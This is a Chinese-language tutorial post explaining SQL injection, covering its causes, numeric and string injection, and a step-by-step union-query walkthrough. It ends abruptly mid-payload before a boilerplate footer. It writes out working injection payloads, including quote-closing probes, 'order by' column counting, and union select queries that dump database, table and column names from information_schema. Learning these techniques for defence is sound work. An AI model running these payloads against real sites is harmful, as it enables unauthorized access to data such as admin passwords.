SQL注入的知识点有哪些

数据库   发布日期:2023年07月27日   浏览次数:361

本篇内容介绍了“SQL注入的知识点有哪些”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!

    漏洞原因

    一些概念:

    SQL:用于数据库中的标准数据查询语言。

    web分为前端和后端,前端负责进行展示,后端负责处理来自前端的请求并提供前端展示的资源。

    而数据库就是存储资源的地方。

    服务器获取数据的方法就是使用SQL语句进行查询获取。

    SQL注入:所谓的sql注入就是通过某种方式将恶意的sql代码添加到输入参数中,然后传递到sql服务器使其解析并执行的一种攻击手法

    SQL可分为平台层注入代码层注入

    平台层注入:由于不安全的数据库配置或数据库平台的漏洞导致。

    代码层注入:程序员对输入没有细致地过滤,从而执行了非法地数据查询。

    原因:在前后端数据的交互中,前端的数据传到后台处理时,没有做严格的判断,导致其传入的数据拼接到SQL语句中,被当成SQL语句的一部分执行,从而导致数据库受损,信息丢失。

    总结版:后台服务器接收相关参数未经过过滤直接带入数据库查询。

    例子:

    比如这是一条前端URL:https://www.yisu.com/aboutus.php?id=1

    其后台sql语句:$sql=“SELECT 123 FROM abc WHERE id='1 '"

    这条语句是采用拼接方式去对数据库内容进行查询的,而且并未对用户在前端输入的内容做过滤,并且用户对id这个参数可控,本来程序员设计这条查询语句是希望通过它去快速查询数据库中abc表的某个内容并且回显到前端页面来的,但是攻击者通过单引号’ 闭合数据库查询语句,并且可以构造这样的恶意url:https://www.yisu.com/aboutus.php?id=-1 ’ select password from admin#去查询admin 用户的密码,而非查询预先程序员所设计好的数据内容。

    其中:url中?代表传值的意思,id代表变量,等号代表变量的值。

    浏览器通常使用 ? 来表示GET方法传递参数,而使用POST传递参数是不会显示到URL中的,因此URL中含有?说明就是使用GET方法传递参数。POST型注入和Cookie注入需要插件和工具才可进行。

    过程

    常见的注入方式:

    参数类型分类:

    数字型、字符型

    注入手法分类:

    联合查询注入、报错注入、基于布尔的盲注、基于时间的盲注、HTTP头注入、宽字节注入、堆叠查询、二阶注入。

    数字型:

    当输入的参数为整形时,若存在注入漏洞,则是数字型注入。

    如:https://blog.csdn.net/aboutus.php?id=1

    此时后台语句:$sql=“SELECT 123 FROM abc WHERE id='1 '"

    检测方法:URL输入 and 1=1 / and 1=2 报错则说明有注入

    字符型

    当输入参数为字符串时,称为字符型注入。

    它与数字型的区别:数字型不需要单引号来闭合,而字符串需要单引号来闭合。

    例:https://blog.csdn.net/aboutus.php?id=1’

    此时后台语句:$sql=“SELECT 123 FROM abc WHERE id='1 ’ ’ "

    此时多出了一个单引号,破坏了原本的SQL语句结构,数据库无法处理,于是会报错,证明这条语句成功被带进数据库查询,存在字符型注入。

    此时通过 --+把后面的单引号注释掉,SQL语句也会形成闭合。

    所以我们可以这样:

    ?id = 1’ 攻击语句 --+

    传入页面就变成了

    select user from database where id = ‘1’ 攻击语句 – ’

    –+:起注释作用,将后面的语句注释掉,在url中+相当于空格,–是注释符号,单行注释,之所以要加+号是因为–与单引号连在一起无法起注释作用因此必须把它们隔开

    联合查询注入

    联合查询适合于有显示位的注入,即页面某个位置会根据我们输入的数据的变化而变化。

    • 页面观察

    输入id=1和id=2,若页面中值有变化,说明输入与数据库有交互

    • 注入点判断

    直接输入?id=1’若有报错则存在注入,开始判断可以从哪里注入,?id=2’1=2–+页面显示不正常,说明此处存在SQL注入,注入点在引号。

    接下来开始使用SQL语句进行攻击。

    • 使用order by判断当前表的字段个数

    例:

    ?id=1 order by n --+

    若n超过当前表的列数,就会报错,说明表中只有n-1列

    • 判断显示位

    判断显示位时,要使用 ?id=-1 或者改为0 让前面的select语句查询为空错误,然后采用后面的select语句去查询:

    ?id=-1' union select 1,2,3 --+

    观察页面在哪里回显我们的输入,就可以用那个地方测试接下的语句。

    • 爆数据库的名字

    ?id=1' union select 1,database(),3 --+

    在之前回显2的地方会回显database数据库的名字。

    • 爆数据库中的表

    ?id=1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

    数据库语句懒得解释了。

    • 爆表中的字段

    ?id=1' union select 1,group_concat(column_name),3 from information_schema.column where table_schema='爆出来的数据库名‘ and table_name=‘爆出来的表名' --+
    • 爆相应字段的所有数据

    ?id=-1' union select 1,group_concat(id,'

    以上就是SQL注入的知识点有哪些的详细内容,更多关于SQL注入的知识点有哪些的资料请关注九品源码其它相关文章!